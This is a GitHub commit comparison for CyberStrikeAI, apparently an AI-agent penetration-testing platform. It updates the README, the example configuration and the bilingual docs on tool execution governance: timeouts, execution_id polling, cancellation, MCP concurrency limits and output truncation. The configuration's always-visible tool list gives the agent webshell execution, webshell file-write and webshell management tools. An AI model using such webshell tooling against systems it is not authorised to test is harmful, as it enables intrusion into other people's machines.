Compare commits

..
59 Commits
Author SHA1 Message Date
公明andGitHub dbc4ead040 Update config.example.yaml 2026-07-22 21:09:53 +08:00
公明andGitHub 4333cf1dd3 Add files via upload 2026-07-22 21:07:21 +08:00
公明andGitHub 577c97aab0 Add files via upload 2026-07-22 21:04:18 +08:00
公明andGitHub 93ab362b6f Add files via upload 2026-07-22 21:01:56 +08:00
公明andGitHub d9cb0b11c5 Add files via upload 2026-07-22 17:34:24 +08:00
公明andGitHub 2d7f5322b3 Add files via upload 2026-07-22 16:29:24 +08:00
公明andGitHub 3763da8773 Add files via upload 2026-07-22 16:23:57 +08:00
公明andGitHub 3f2984b7c6 Add files via upload 2026-07-22 16:18:33 +08:00
公明andGitHub fbef2afd68 Add files via upload 2026-07-22 14:19:38 +08:00
公明andGitHub bccb324d2b Add files via upload 2026-07-22 14:17:23 +08:00
公明andGitHub b28fba3d68 Add files via upload 2026-07-22 14:14:42 +08:00
公明andGitHub 8059b6d5b2 Add files via upload 2026-07-22 14:12:36 +08:00
公明andGitHub 0821bb2911 Add files via upload 2026-07-22 14:10:44 +08:00
公明andGitHub e407f8203c Add files via upload 2026-07-22 13:59:37 +08:00
公明andGitHub a59253e828 Add files via upload 2026-07-22 13:51:36 +08:00
公明andGitHub 4c989fbbe0 Add files via upload 2026-07-22 13:47:24 +08:00
公明andGitHub 91239c9869 Add files via upload 2026-07-22 13:41:43 +08:00
公明andGitHub 6892156b7c Add files via upload 2026-07-22 13:36:39 +08:00
公明andGitHub 75489123f9 Add files via upload 2026-07-22 11:33:54 +08:00
公明andGitHub 631ee6c447 Add files via upload 2026-07-22 11:30:11 +08:00
公明andGitHub 7caf77683f Add files via upload 2026-07-22 11:27:34 +08:00
公明andGitHub fce4ffe3c4 Add files via upload 2026-07-22 11:11:52 +08:00
公明andGitHub 75163f9269 Add files via upload 2026-07-22 10:37:19 +08:00
公明andGitHub 06a9cea97d Add files via upload 2026-07-22 10:34:42 +08:00
公明andGitHub b62ba3b214 Add files via upload 2026-07-22 10:31:20 +08:00
公明andGitHub 0062cebc6b Update config.example.yaml 2026-07-22 00:17:45 +08:00
公明andGitHub 25ceeb2535 Add files via upload 2026-07-21 23:48:53 +08:00
公明andGitHub 0152781598 Add files via upload 2026-07-21 23:47:17 +08:00
公明andGitHub d3176f048d Add files via upload 2026-07-21 23:43:59 +08:00
公明andGitHub 1fc522298a Add files via upload 2026-07-21 23:42:04 +08:00
公明andGitHub 9464ffe105 Add files via upload 2026-07-21 23:40:49 +08:00
公明andGitHub 599de1da0f Add files via upload 2026-07-21 23:37:51 +08:00
公明andGitHub 1cb64ceaaa Add files via upload 2026-07-21 23:35:23 +08:00
公明andGitHub 97d96d4d8b Add files via upload 2026-07-21 23:32:19 +08:00
公明andGitHub 4bb12bbbdc Add files via upload 2026-07-21 23:30:20 +08:00
公明andGitHub c4a56c1ada Add files via upload 2026-07-21 21:04:53 +08:00
公明andGitHub 8bd42a6f7a Add files via upload 2026-07-21 21:02:45 +08:00
公明andGitHub b54867e383 Add files via upload 2026-07-21 21:00:22 +08:00
公明andGitHub 07229f0fde Add files via upload 2026-07-21 20:57:07 +08:00
公明andGitHub f30e8e7ca6 Add files via upload 2026-07-21 20:54:51 +08:00
公明andGitHub bfe1d28650 Add files via upload 2026-07-21 20:52:43 +08:00
公明andGitHub c925c2e74b Add files via upload 2026-07-21 20:49:10 +08:00
公明andGitHub 4bbbe3bcf8 Add files via upload 2026-07-21 20:46:54 +08:00
公明andGitHub 944957d4c5 Add files via upload 2026-07-21 20:44:32 +08:00
公明andGitHub fa9229b435 Add files via upload 2026-07-21 20:42:43 +08:00
公明andGitHub b707ea4e44 Add files via upload 2026-07-21 16:50:51 +08:00
公明andGitHub 18824857be Add files via upload 2026-07-21 16:43:14 +08:00
公明andGitHub 78c572927b Add files via upload 2026-07-21 16:38:37 +08:00
公明andGitHub cea8d4bcc0 Add files via upload 2026-07-21 16:34:42 +08:00
公明andGitHub 25fac216ea Add files via upload 2026-07-21 16:33:00 +08:00
公明andGitHub e5507ed8d0 Add files via upload 2026-07-21 16:30:07 +08:00
公明andGitHub 22cbc82ccc Add files via upload 2026-07-21 16:26:48 +08:00
公明andGitHub 462aa2fb15 Add files via upload 2026-07-21 16:22:36 +08:00
公明andGitHub b1749ace16 Add files via upload 2026-07-21 16:18:20 +08:00
公明andGitHub 5a48e2893d Add files via upload 2026-07-21 15:23:58 +08:00
公明andGitHub d7181cb1cd Add files via upload 2026-07-21 15:07:52 +08:00
公明andGitHub 2b63e3b633 Add files via upload 2026-07-21 14:15:40 +08:00
公明andGitHub 2de6073d34 Delete skills directory 2026-07-21 14:14:48 +08:00
公明andGitHub ec3f881587 Add files via upload 2026-07-21 11:10:20 +08:00
122 changed files with 8917 additions and 7483 deletions
+2 -1
View File
@@ -118,6 +118,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
- 🧰 **Security tools** include 100+ curated YAML recipes with custom extensions and role-scoped access.
- 🔌 **MCP integration** supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
- ⏱️ **Resilient tool execution** runs blocking MCP/tool calls in workers with bounded agent waits, resumable `execution_id` polling, cancellation, per-server circuit breakers, concurrency limits, and unified output caps.
- 🎯 **Agent Skills** follow the standard Skill layout and support progressive, on-demand loading.
- 📚 **Knowledge base** combines query rewriting, vector retrieval, reranking, and result post-processing.
- 🖼️ **Vision analysis** uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.
@@ -127,7 +128,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
- 🧑‍⚖️ **Human in the loop** provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
- 🔐 **Platform RBAC** supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
- 🔒 **Security and audit** provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
- 📄 **Result governance** supports pagination, compression, archival, and search for large tool outputs.
- 📄 **Result governance** stores the same capped tool result seen by the agent, protects resume paths from oversized historical output, and adds UI safeguards for large detail views. See [Tool Execution Governance](docs/en-US/tool-execution-governance.md).
### Security operations
+2 -1
View File
@@ -117,6 +117,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
- 🧰 **安全工具**:提供 100+ 精选 YAML 工具配方,支持自定义扩展和按角色控制。
- 🔌 **MCP 集成**:支持 HTTP、stdio、SSE、外部 MCP 联邦和动态工具发现。
- ⏱️ **弹性工具执行**:阻塞型 MCP/工具调用交给 worker 执行,Agent 只有限等待;支持 `execution_id` 多轮等待、主动取消、单 server 熔断、并发限制和统一输出兜底。
- 🎯 **Agent Skills**:遵循标准 Skill 目录结构,支持渐进式按需加载。
- 📚 **知识库**:组合查询改写、向量检索、精排和结果后处理能力。
- 🖼️ **视觉分析**:使用独立视觉模型分析截图、验证码和 UI,对话中仅保留文字摘要。
@@ -126,7 +127,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
- 🧑‍⚖️ **人机协同**:支持审批模式、工具白名单、审计 Agent 复核和决策追踪。
- 🔐 **平台 RBAC**:支持多用户、系统及自定义角色、权限 Scope、资源归属和显式授权。
- 🔒 **安全与审计**:提供登录保护、审计日志、SQLite 持久化和行动证据留存。
- 📄 **结果治理**支持大结果分页、压缩、归档和检索
- 📄 **结果治理**数据库保存与 Agent 实际看到的同一份兜底后工具结果,恢复路径会再次防御历史超大输出,前端详情也有展示保护。详见[工具执行治理](docs/zh-CN/tool-execution-governance.md)
### 安全运营管理
+1
View File
@@ -34,6 +34,7 @@ func main() {
// 注册工具
executor.RegisterTools(mcpServer)
mcp.RegisterExecutionControlTools(mcpServer, nil)
log.Logger.Info("MCP服务器(stdio模式)已启动,等待消息...")
+10 -5
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.7.5"
version: "v1.7.7"
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -107,6 +107,11 @@ shodan:
agent:
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
tool_wait_timeout_seconds: 300 # 工具本轮最多等待(秒);到时返回 execution_idworker 继续后台执行,可用 wait_tool_execution 继续等待;0=等到完成
external_mcp_max_concurrent_per_server: 5 # 单个外部 MCP server 同时运行的工具数;0=默认2;负数=不限制
external_mcp_max_concurrent_total: 16 # 所有外部 MCP 工具全局并发上限;0=默认16;负数=不限制
external_mcp_circuit_failure_threshold: 5 # 单个外部 MCP server 连续失败多少次后熔断;0=默认3;负数=关闭熔断
external_mcp_circuit_cooldown_seconds: 60 # 熔断冷却秒数;0=默认60
shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止(秒);通用防挂死;0=默认300;-1=关闭
workspace_root_dir: "" # 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离;勿用系统 /tmp
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
@@ -214,13 +219,13 @@ multi_agent:
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, get_tool_execution, wait_tool_execution, cancel_tool_execution, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
reduction_enable: true # true:大工具输出截断/落盘以控上下文;后端会独立创建,不依赖 eino_skills 是否启用
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理
reduction_enable: true # true:大工具输出截断落盘到本地文件(tmp/reduction/.../trunc/<id>),上下文只留 <persisted-output> 预览;不依赖 eino_skills
reduction_max_length_for_trunc: 100000 # 单条工具结果超过该字节数时:全文写入本地 trunc 文件,返回带路径的截断预览(MCP/exec 与 reduction 共用此阈值
reduction_max_tokens_for_clear: 60000 # 历史工具结果清理阈值(tokens),应低于 max_total_tokens * summarization_trigger_ratio
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:使用系统临时目录下按会话隔离的默认路径
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:项目目录下 tmp/reduction(按会话/项目隔离)
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
reduction_sub_agents: true # true:子代理也挂 reductionfalse:仅编排主代理使用 reduction
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
+2
View File
@@ -21,6 +21,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
- [Skills 指南](zh-CN/skills-guide.md)
- [Eino 多代理](zh-CN/MULTI_AGENT_EINO.md)
- [工作流](zh-CN/workflow-graph.md)
- [工具执行治理](zh-CN/tool-execution-governance.md)
- [人机协同最佳实践](zh-CN/hitl-best-practices.md)
### 功能指南
@@ -58,6 +59,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
- [Skills](en-US/skills-guide.md)
- [Eino Multi-Agent](en-US/MULTI_AGENT_EINO.md)
- [Workflows](en-US/workflow-graph.md)
- [Tool Execution Governance](en-US/tool-execution-governance.md)
- [HITL Best Practices](en-US/hitl-best-practices.md)
### Feature guides
+1 -1
View File
@@ -13,7 +13,7 @@
- [Architecture](architecture.md) · [Security Model](security-model.md) · [RBAC](rbac.md)
- [Agents and Roles](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino Multi-Agent](MULTI_AGENT_EINO.md)
- [Workflows](workflow-graph.md) · [HITL Best Practices](hitl-best-practices.md)
- [Workflows](workflow-graph.md) · [Tool Execution Governance](tool-execution-governance.md) · [HITL Best Practices](hitl-best-practices.md)
## Feature guides
+221
View File
@@ -0,0 +1,221 @@
# Tool Execution Governance
[Back to English documentation](README.md)
This document describes how CyberStrikeAI governs long-running tools, blocking MCP calls, oversized outputs, cancellation, and context restore. The goal is to preserve standard Agent/Eino tool semantics while preventing tool hangs, context blowups, oversized database records, and unsafe resume behavior.
## Goals
- **Keep the agent runner responsive**: tools may run for a long time, but the current runner waits only for a bounded interval.
- **Allow long tasks to continue**: timeout returns an `execution_id`; later turns can call `wait_tool_execution`.
- **Support cancellation**: users and agents can cancel a running execution.
- **Keep DB and agent views identical**: the database stores the same canonical capped result returned to the agent.
- **Protect resume paths**: resume uses model-facing traces and caps historical oversized tool traces.
- **Isolate external MCP failures**: external MCP servers are protected by per-server concurrency limits, global concurrency limits, and circuit breakers.
## Execution Model
Tool calls still appear to Eino/Agent as standard tool invocations, but the blocking work runs in a worker:
```text
Agent calls tool
-> ExecutionService creates execution
-> worker runs the real MCP/tool call
-> Agent bounded wait
-> completed: return tool result
-> still running: return execution_id, worker continues in background
```
This prevents MCP servers, `exec`, `sqlmap`, `nmap`, `nuclei`, and similar long-running tools from binding the current runner indefinitely.
## Execution Statuses
| Status | Meaning |
|---|---|
| `queued` | Execution exists and is waiting for a worker or concurrency slot |
| `running` | Worker is executing |
| `background_running` | UI display state: agent stopped waiting, background worker continues |
| `completed` | This tool call completed |
| `failed` | The tool actually failed |
| `cancelled` | User, agent, or session cleanup cancelled the execution |
| `hard_timeout` | The tool exceeded its hard timeout |
| `orphaned` | A persisted running execution no longer has a runtime worker |
Important: when `wait_tool_execution` reaches `timeout_seconds` and the target execution is still running, the wait call itself is a completed observation, not a failed tool execution.
## Control Tools
| Tool | Purpose |
|---|---|
| `get_tool_execution` | Read current execution state |
| `wait_tool_execution` | Wait for a selected execution for a bounded interval |
| `cancel_tool_execution` | Cancel a selected execution |
`get_tool_execution` and `wait_tool_execution` can include a live output preview:
- `include_partial_output`: whether to return partial output, default `true`.
- `partial_output_max_bytes`: tail preview limit for this call, default `4096`, maximum `65536`.
Partial output is a bounded preview of output produced so far, not the final `result`. The canonical `result` is still written only when the tool finishes. Tools that do not support streaming output simply omit partial fields.
Typical flow:
```text
1. Call a long-running tool such as exec/sqlmap/nmap
2. After tool_wait_timeout_seconds, receive execution_id
3. Agent can continue reasoning, use other tools, or call wait_tool_execution
4. If still incomplete, continue waiting or call cancel_tool_execution
```
`tool_wait_timeout_seconds` applies to internal MCP tools, external MCP tools, and Eino filesystem's streaming `execute`. Eino's non-streaming filesystem tools such as `ls/read_file/write_file/edit_file/glob/grep` are recorded in execution monitoring, but they are not converted into resumable background workers.
## Cancellation and Session Cleanup
- User stop cancels running tools for the current conversation.
- Normal session end cancels remaining running tools for the current conversation.
- Interrupt-and-continue style flows do not mass-cancel tools.
- Conversation-scoped cancellation avoids killing tools from other conversations.
## External MCP Isolation
External MCP servers can hang, disconnect, or return failures. CyberStrikeAI uses three protections:
| Capability | Config | Description |
|---|---|---|
| Per-server concurrency | `external_mcp_max_concurrent_per_server` | Max simultaneous calls for one external MCP server |
| Global concurrency | `external_mcp_max_concurrent_total` | Max simultaneous external MCP calls across all servers |
| Circuit breaker | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | Temporarily fast-fails a server after repeated failures |
Recommended defaults:
```yaml
agent:
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
```
## Output Governance
CyberStrikeAI uses `multi_agent.eino_middleware.reduction_max_length_for_trunc` as the unified tool result cap. The example configuration uses 50000 bytes.
```yaml
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
Coverage:
| Channel | Behavior |
|---|---|
| Agent-facing tool result | Uses the canonical capped result |
| DB / monitor storage | Stores the same canonical result |
| `get_tool_execution` / `wait_tool_execution` | Reads the same canonical result |
| Eino `execute` / filesystem monitor records | Capped before completion is persisted |
| Non-streaming `exec` stdout/stderr | Source-side bounded buffer |
| Streaming `exec` stdout/stderr | Streamed UI output is also bounded |
| PTY execution path | Uses the same output cap |
| Frontend detail modal | Has an additional UI display cap |
When the cap is reached, the full output is written to a local trunc file and the agent-facing payload becomes a `<persisted-output>` notice (with absolute path) that fits inside the configured budget.
Example:
```text
<persisted-output>
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
Use read_file with offset/limit to read parts of the file.
Preview (first …):
Preview (last …):
</persisted-output>
```
The current strategy is “spill full text to disk + bounded preview in context.” Agents can recover the original via `read_file`.
## Database and Resume Context
New results are written through this path:
```text
tool completes
-> NormalizeToolResultForStorage
-> update in-memory execution
-> persist to DB
-> return to Agent
```
So, under normal operation, the DB stores exactly the result returned to the agent.
Resume uses `LastAgentTraceInput`, which is the model-facing trace that actually reached ChatModel, not raw event accumulation. The restore path also caps historical tool content to prevent context blowups from:
- pre-upgrade DB records that contain raw large output,
- manual imports or migrations,
- lowering the configured cap from a larger value,
- future bypasses that accidentally skip canonicalization.
## Recommended Configuration
For long-running security tasks:
```yaml
agent:
max_iterations: 800
tool_timeout_minutes: 60
tool_wait_timeout_seconds: 30
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
shell_no_output_timeout_seconds: 1200
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
| Parameter | Recommended | Notes |
|---|---:|---|
| `max_iterations` | `300-1000` | Very large values weaken loop protection |
| `tool_timeout_minutes` | `60` | Hard timeout for tools such as sqlmap |
| `tool_wait_timeout_seconds` | `30-60` | Agent wait bound before returning `execution_id` |
| `shell_no_output_timeout_seconds` | `600-1200` | Kills silent hangs |
| `reduction_max_length_for_trunc` | `50000` | Unified tool result cap |
Do not make `tool_wait_timeout_seconds` very large by default. Long tasks should continue in workers and be observed by `execution_id`, rather than blocking one turn for several minutes.
## Testing
Long-task test prompt:
```text
Call exec to run sleep 120. If it is not done after 10 seconds, do not keep waiting; report execution_id, call wait_tool_execution for 5 seconds, then cancel_tool_execution if still incomplete and report final status.
```
Large-output test prompt:
```text
Call exec to run: python3 - <<'PY'
print("A" * 200000)
PY
Then show the tool result length and whether it contains the truncation marker.
```
Expected behavior:
- The initial long task returns an `execution_id` and status `running` or UI `background_running`.
- `wait_tool_execution` timing out while the target is still running is not displayed as a tool failure.
- Large output never exceeds `reduction_max_length_for_trunc`.
- DB, monitor details, and agent continuation use the same capped result.
## Boundaries
- CyberStrikeAI cannot control how a remote external MCP server collects output internally; it caps results after they enter CyberStrikeAI and protects calls with concurrency limits and circuit breakers.
- Oversized tool output is spilled to local `tmp/reduction/.../trunc/<id>` (or `reduction_root_dir`) before truncation; the bounded result includes an absolute path for `read_file`.
+1 -1
View File
@@ -13,7 +13,7 @@
- [架构说明](architecture.md) · [安全模型](security-model.md) · [RBAC](rbac.md)
- [Agent 与角色](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino 多代理](MULTI_AGENT_EINO.md)
- [工作流](workflow-graph.md) · [人机协同最佳实践](hitl-best-practices.md)
- [工作流](workflow-graph.md) · [工具执行治理](tool-execution-governance.md) · [人机协同最佳实践](hitl-best-practices.md)
## 功能指南
+223
View File
@@ -0,0 +1,223 @@
# 工具执行治理
[返回中文文档](README.md)
本文说明 CyberStrikeAI 对长时间工具、MCP 阻塞、大输出、取消和恢复上下文的治理策略。目标是让 Agent 保持标准工具语义,同时避免工具卡死、上下文爆炸、数据库膨胀或恢复时重新注入历史大输出。
## 设计目标
- **Agent 不被工具绑死**:工具调用可以很慢,但当前 runner 只等待有限时间。
- **长任务可继续观察**:超时返回 `execution_id`,后续可用 `wait_tool_execution` 多轮等待。
- **用户和 Agent 都能取消**:当前会话结束或用户停止任务时,会取消仍在运行的工具。
- **数据库与 Agent 视图一致**:DB 保存的是 Agent 实际拿到的兜底后结果,不再保存另一份原始大输出。
- **恢复不会撑爆上下文**:续跑使用 model-facing trace;历史异常大 tool trace 恢复时也会再次裁剪。
- **外部 MCP 有隔离保护**:按 server 限并发、按全局限并发,并对连续失败的 server 熔断。
## 执行模型
普通工具调用仍然对 Eino/Agent 表现为一次标准 tool call,但底层执行分为两段:
```text
Agent 调用工具
-> ExecutionService 创建 execution
-> worker 执行真实 MCP/工具调用
-> Agent bounded wait
-> 完成:返回工具结果
-> 未完成:返回 execution_idworker 继续后台运行
```
这解决了 MCP server、`exec``sqlmap``nmap``nuclei` 等长任务阻塞当前 runner 的问题。
## 工具状态语义
| 状态 | 含义 |
|---|---|
| `queued` | execution 已创建,等待 worker 或并发槽位 |
| `running` | worker 正在执行 |
| `background_running` | 前端展示状态,表示本轮 Agent 已停止等待,但后台仍在跑 |
| `completed` | 本次 tool call 本身已完成 |
| `failed` | 工具真实失败 |
| `cancelled` | 用户、Agent 或会话清理主动取消 |
| `hard_timeout` | 超过硬超时,被系统终止 |
| `orphaned` | 重启/异常后发现 DB 中仍是 running,但运行时已无对应 worker |
注意:`wait_tool_execution` 到达 `timeout_seconds` 时,如果目标 execution 仍在运行,**这次 wait 调用本身是完成的观察动作**,不是工具执行失败。返回体会说明目标仍为 `running`,前端不应显示为红色失败。
## 控制工具
| 工具 | 用途 |
|---|---|
| `get_tool_execution` | 读取 execution 当前状态 |
| `wait_tool_execution` | 等待指定 execution 一段时间 |
| `cancel_tool_execution` | 主动取消指定 execution |
`get_tool_execution``wait_tool_execution` 支持返回运行中输出预览:
- `include_partial_output`:是否返回 partial output,默认 `true`
- `partial_output_max_bytes`:本次返回的尾部预览上限,默认 `4096`,最大 `65536`
partial output 是“已产生输出的有界预览”,不等同于最终 `result`。最终 `result` 仍只在工具结束时写入 canonical execution 记录;不支持流式输出的工具不会返回 partial 字段。
典型流程:
```text
1. 调用 exec/sqlmap/nmap 等长任务
2. 超过 tool_wait_timeout_seconds 后拿到 execution_id
3. Agent 可继续推理、改用其他工具,或调用 wait_tool_execution
4. 仍未完成时可继续等待,或调用 cancel_tool_execution
```
`tool_wait_timeout_seconds` 适用于内部 MCP、外部 MCP,以及 Eino filesystem 的流式 `execute`。Eino 的 `ls/read_file/write_file/edit_file/glob/grep` 等非流式 filesystem 工具会写入 execution 监控记录,但不作为后台 worker 做软等待续跑。
## 取消和会话清理
- 用户点击“停止任务”时,会取消当前会话仍在运行的工具。
- 会话正常结束后,会批量取消当前会话仍 `running` 的工具。
- “中断并继续”类流程不会做会话级批量取消,以免误杀后续需要等待的 worker。
- 取消只针对当前 conversation 绑定的 execution,不会误杀其他会话的工具。
## 外部 MCP 隔离
外部 MCP 可能因为远端 server 卡住、断连或返回异常而拖慢 Agent。系统提供三层保护:
| 能力 | 配置 | 说明 |
|---|---|---|
| 单 server 并发限制 | `external_mcp_max_concurrent_per_server` | 同一个外部 MCP server 同时运行的工具数 |
| 全局并发限制 | `external_mcp_max_concurrent_total` | 所有外部 MCP 工具总并发 |
| 熔断 | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | 单 server 连续失败后短期快速失败,避免反复打坏 server |
推荐默认:
```yaml
agent:
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
```
## 输出兜底
系统使用 `multi_agent.eino_middleware.reduction_max_length_for_trunc` 作为统一工具结果上限。当前示例配置为 50000 bytes。
```yaml
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
兜底覆盖:
| 渠道 | 行为 |
|---|---|
| Agent 实际拿到的工具结果 | 使用兜底后的 canonical result |
| DB/监控存储 | 保存同一份 canonical result |
| `get_tool_execution` / `wait_tool_execution` | 读取同一份 canonical result |
| Eino `execute` / filesystem 监控记录 | 完成记录前统一兜底 |
| 非流式 `exec` stdout/stderr | 源头 bounded buffer |
| 流式 `exec` stdout/stderr | 推送给前端的累计输出也受上限控制 |
| PTY 执行路径 | 同样受上限控制 |
| 前端详情弹窗 | 额外有 UI 展示截断保护 |
触发上限后,完整输出先写入本地 trunc 文件,Agent 侧只保留计入预算的 `<persisted-output>` 预览(含绝对路径)。因此阈值为 50000 时,上下文文本不会超过该上限。
示例:
```text
<persisted-output>
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
Use read_file with offset/limit to read parts of the file.
Preview (first …):
Preview (last …):
</persisted-output>
```
当前策略是「全文落盘 + 上下文预览」:超过 `reduction_max_length_for_trunc` 时,完整输出写入本地文件(默认 `tmp/reduction/conversations/<会话ID>/trunc/<execution_id>`),Agent/DB/监控拿到的是带绝对路径的 `<persisted-output>` 预览;可用 `read_file` 按 offset/limit 回读全文。
## DB 与恢复上下文
新执行结果的写入路径如下:
```text
工具完成
-> NormalizeToolResultForStorage
-> 写入内存 execution
-> 写入 DB
-> 返回给 Agent
```
因此正常情况下,DB 中保存的就是 Agent 拿到的结果。
续跑恢复时,系统使用 `LastAgentTraceInput` 中的 model-facing trace,也就是实际送入 ChatModel 的消息快照,而不是原始事件流累计。恢复入口还会对历史 tool 内容再次应用上限,防止以下情况撑爆上下文:
- 升级前 DB 已经存过原始大输出。
- 手工迁移或导入的数据绕过了当前写入路径。
- 配置从更大阈值改成 50000。
- 未来某条旁路写入漏掉 canonicalize。
## 关键配置建议
长任务场景推荐:
```yaml
agent:
max_iterations: 800
tool_timeout_minutes: 60
tool_wait_timeout_seconds: 30
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
shell_no_output_timeout_seconds: 1200
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
参数说明:
| 参数 | 建议 | 说明 |
|---|---:|---|
| `max_iterations` | `300-1000` | 太大等于放弃循环保护 |
| `tool_timeout_minutes` | `60` | 单次工具硬超时,适合 sqlmap 等长任务 |
| `tool_wait_timeout_seconds` | `30-60` | Agent 本轮等待上限,到时返回 `execution_id` |
| `shell_no_output_timeout_seconds` | `600-1200` | 连续无输出时终止,防止静默挂死 |
| `reduction_max_length_for_trunc` | `50000` | 工具结果统一上限 |
不建议把 `tool_wait_timeout_seconds` 设置得很大。长任务应由 worker 后台跑,Agent 通过 `execution_id` 继续观察,而不是一轮等待数分钟。
## 测试建议
可以用以下对话测试长任务语义:
```text
调用 exec 执行 sleep 120;如果超过 10 秒还没完成,不要一直等,告诉我 execution_id,然后调用 wait_tool_execution 等 5 秒;如果仍未完成,再调用 cancel_tool_execution,最后说明状态。
```
可以用以下命令测试大输出兜底:
```text
调用 exec 执行:python3 - <<'PY'
print("A" * 200000)
PY
然后展示工具结果长度和是否包含截断提示。
```
预期:
- 初始长任务会返回 `execution_id`,状态为 `running` 或前端展示 `background_running`
- `wait_tool_execution` 等待到上限但目标未完成时,本次 wait 调用不应显示为执行失败。
- 大输出结果不会超过 `reduction_max_length_for_trunc`
- DB、监控详情、Agent 继续推理看到的是同一份兜底结果。
## 当前边界
- 外部 MCP 的远端 server 内部如何采集输出不由 CyberStrikeAI 控制;CyberStrikeAI 会在结果进入本系统后统一兜底、限并发和熔断。
- 超长工具输出会在截断前写入本地 `tmp/reduction/.../trunc/<id>`(或 `reduction_root_dir`),bounded result 中包含可 `read_file` 的绝对路径。
+74 -27
View File
@@ -24,18 +24,17 @@ import (
// Agent AI代理
type Agent struct {
openAIClient *openai.Client
config *config.OpenAIConfig
agentConfig *config.AgentConfig
mcpServer *mcp.Server
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
logger *zap.Logger
maxIterations int
mu sync.RWMutex // 添加互斥锁以支持并发更新
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
